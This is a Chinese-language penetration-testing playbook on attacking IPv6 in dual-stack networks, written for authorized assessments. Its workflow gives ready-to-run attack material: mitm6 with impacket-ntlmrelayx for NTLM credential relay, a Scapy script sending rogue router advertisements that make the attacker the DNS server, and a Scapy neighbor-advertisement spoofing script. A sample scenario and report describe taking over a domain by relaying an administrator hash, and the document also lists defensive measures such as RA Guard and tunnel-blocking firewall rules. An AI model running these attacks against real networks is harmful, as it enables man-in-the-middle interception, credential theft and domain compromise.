| name | exploiting-ipv6-vulnerabilities |
| description | 识别并利用 IPv6 特有漏洞,包括 SLAAC 欺骗、路由器通告泛洪和 IPv6 隧道, 在授权评估中测试双栈安全控制和 IPv6 感知网络防御。
|
| domain | cybersecurity |
| subdomain | network-security |
| tags | ["network-security","ipv6","slaac","router-advertisement","dual-stack-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 IPv6 漏洞
适用场景
- 测试双栈(dual-stack)网络是否对 IPv4 和 IPv6 流量实施了一致的安全控制
- 演示在仅官方支持 IPv4 的网络上,未受管理的 IPv6 带来的风险
- 利用 SLAAC(无状态地址自动配置)和路由器通告(Router Advertisement)机制,通过 IPv6 实施中间人(MITM)攻击
- 测试 IPv6 感知防火墙规则以及 IDS/IPS 对 IPv6 特有攻击模式的检测能力
- 识别 IPv6 隧道协议(6to4、Teredo、ISATAP),这些协议可绕过仅限 IPv4 的安全控制
禁止在以下情况使用:未获书面授权的生产网络、IPv6 中断可能导致安全问题的系统,或针对网络基础设施的拒绝服务攻击。
前置条件
- 明确 IPv6 测试范围和批准技术的书面授权
- 已安装 THC-IPv6 工具包、Scapy 和 mitm6 的 Kali Linux
- 目标网络段上支持 IPv6 的网络接口
- 了解 IPv6 寻址、SLAAC、NDP 和路由器通告
- 用于捕获和分析 IPv6 流量的 Wireshark
工作流程
步骤 1:枚举网络上的 IPv6
ip -6 addr show
ping6 -c 3 ff02::1%eth0
sudo alive6 eth0
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
sudo radvdump
sudo dhclient -6 -v eth0 --request-only
步骤 2:使用 mitm6 执行基于 SLAAC 的 MITM 攻击
sudo mitm6 -d example.com -i eth0
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot
步骤 3:路由器通告欺骗
"""用于授权 IPv6 测试的虚假路由器通告。"""
from scapy.all import *
from scapy.layers.inet6 import *
iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)
ra = (
Ether(dst="33:33:00:00:00:01") /
IPv6(src=attacker_ipv6, dst="ff02::1") /
ICMPv6ND_RA(
routerlifetime=1800,
prf=1,
M=0,
O=1
) /
ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
ICMPv6NDOptPrefixInfo(
prefix="2001:db8:dead::",
prefixlen=64,
L=1,
A=1,
validlifetime=3600,
preferredlifetime=1800
) /
ICMPv6NDOptRDNSS(
dns=[attacker_ipv6],
lifetime=1800
)
)
print(f"[*] 从 {attacker_ipv6} 发送虚假路由器通告")
print(f"[*] 通告前缀 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA 数据包已发送。受害者将使用虚假前缀配置 IPv6。")
步骤 4:IPv6 邻居发现攻击
sudo parasite6 eth0
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *
target_ipv6 = "2001:db8::50"
gateway_ipv6 = "2001:db8::1"
attacker_mac = get_if_hwaddr("eth0")
na = (
Ether(dst="33:33:00:00:00:01") /
IPv6(src=gateway_ipv6, dst="ff02::1") /
ICMPv6ND_NA(
tgt=gateway_ipv6,
R=1, S=0, O=1
) /
ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)
print("[*] 发送欺骗的邻居通告...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF
sudo ndpmon -i eth0
步骤 5:IPv6 隧道检测与利用
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10
nmap -6 -sU -p 3544 --open 10.10.0.0/24
curl -6 http://[2001:db8::50]:8080/
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP
步骤 6:测试 IPv6 防火墙规则并记录
sudo ip6tables -L -n -v
nmap -6 -sS -p- <target_ipv6_address>
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)
sudo killall mitm6 parasite6 2>/dev/null
核心概念
| 术语 | 定义 |
|---|
| SLAAC(无状态地址自动配置) | IPv6 机制,主机无需 DHCP 服务器即可从路由器通告自动配置地址,可被虚假 RA 注入利用 |
| 路由器通告(RA,Router Advertisement) | 路由器发出的 ICMPv6 消息,宣布网络前缀、默认网关和 DNS 配置;虚假 RA 可实现 MITM 攻击 |
| NDP(邻居发现协议,Neighbor Discovery Protocol) | IPv6 替代 ARP,使用 ICMPv6 进行地址解析、路由器发现和重复地址检测;易受欺骗攻击 |
| mitm6 | 利用 Windows DHCPv6 偏好成为 IPv6 DNS 服务器的工具,可实现 DNS 欺骗和 NTLM 凭据中继 |
| RA Guard | 交换机级别安全功能,过滤虚假路由器通告,防止未授权主机充当 IPv6 路由器 |
| IPv6 隧道 | 将 IPv6 数据包封装在 IPv4 内(6to4、Teredo、ISATAP),可绕过仅限 IPv4 的安全控制和防火墙 |
工具与系统
- mitm6:利用 SLAAC 和 DHCPv6 成为 Windows 主机 DNS 服务器的 IPv6 MITM 工具
- THC-IPv6 Toolkit:全面的 IPv6 攻击工具包,包括 alive6、parasite6、fake_router6 和泛洪工具
- Scapy:用于构造自定义 ICMPv6 路由器通告和邻居发现数据包的 Python 数据包操控工具
- ndpmon:IPv6 邻居发现协议监控器,检测虚假 RA 和 NDP 欺骗
- Nmap:支持完整 IPv6 的网络扫描器,包括组播发现和 IPv6 特定脚本
常见场景
场景:利用仅使用 IPv4 的企业网络上未受管理的 IPv6
背景:某公司在其企业网络上正式仅使用 IPv4,但 Windows 工作站默认启用了 IPv6。在一次内部渗透测试中,测试人员发现 IPv6 在 VLAN 上处于活动状态,且未部署任何 IPv6 安全控制(RA Guard、IPv6 ACL)。
方法:
- 发现所有 Windows 工作站都有链路本地 IPv6 地址,并在监听路由器通告
- 运行 mitm6 发送 DHCPv6 响应,成为 VLAN 上所有 Windows 主机的 IPv6 DNS 服务器
- 配置 ntlmrelayx 将 WPAD 触发的 NTLM 身份验证中继到域控制器
- 5 分钟内,从 12 台工作站捕获并中继 NTLM 凭据,获取对文件共享的访问权限
- 成功将域管理员的 NTLM 哈希中继,创建新的域管理员账户
- 记录缺乏 IPv6 安全控制使得在不利用任何传统漏洞的情况下实现了完整的域控制
- 建议在不需要 IPv6 的地方禁用它、在交换机上部署 RA Guard,并在防火墙上阻止 DHCPv6
注意事项:
- 向网络泛洪路由器通告可能导致某些设备不稳定
- mitm6 会影响 VLAN 上所有 Windows 主机,而不仅仅是目标——确保范围涵盖所有潜在受影响主机
- 某些环境有依赖 IPv6 的服务(SCCM、某些 Azure 服务),当 IPv6 受到干扰时会中断
- 忘记检查可能提供替代攻击路径的 IPv6 隧道协议
输出格式
## IPv6 安全评估报告
**测试 ID**:IPV6-2024-001
**目标网络**:VLAN 10(10.10.10.0/24,无官方 IPv6)
**评估日期**:2024-03-15
### IPv6 发现
| 发现项 | 详情 |
|--------|------|
| 已启用 IPv6 的主机 | 147/150 台工作站(Windows 默认) |
| 链路本地地址 | 所有已发现主机上均活动 |
| 路由器通告 | 未检测到(无 IPv6 路由器) |
| DHCPv6 服务器 | 不存在 |
| RA Guard | 交换机上未配置 |
| IPv6 防火墙规则 | 无(ip6tables 为空) |
### 攻击结果
| 攻击 | 结果 | 影响 |
|------|------|------|
| mitm6 DNS 接管 | 成功 | 成为 147 台主机的 IPv6 DNS |
| WPAD NTLM 中继 | 成功 | 捕获 23 次 NTLM 身份验证 |
| 域管理员中继 | 成功 | 创建了虚假域管理员账户 |
| IPv6 端口扫描 | 成功 | 所有端口开放(无 ip6tables 规则) |
### 建议
1. 在所有接入层交换机上部署 RA Guard(严重)
2. 配置与 IPv4 防火墙规则匹配的 IPv6 ACL(严重)
3. 在不需要 IPv6 的地方通过组策略禁用 DHCPv6 客户端
4. 在防火墙上阻止 IPv6 隧道协议(6to4、Teredo)
5. 部署 IPv6 感知的 IDS 规则用于 NDP 欺骗检测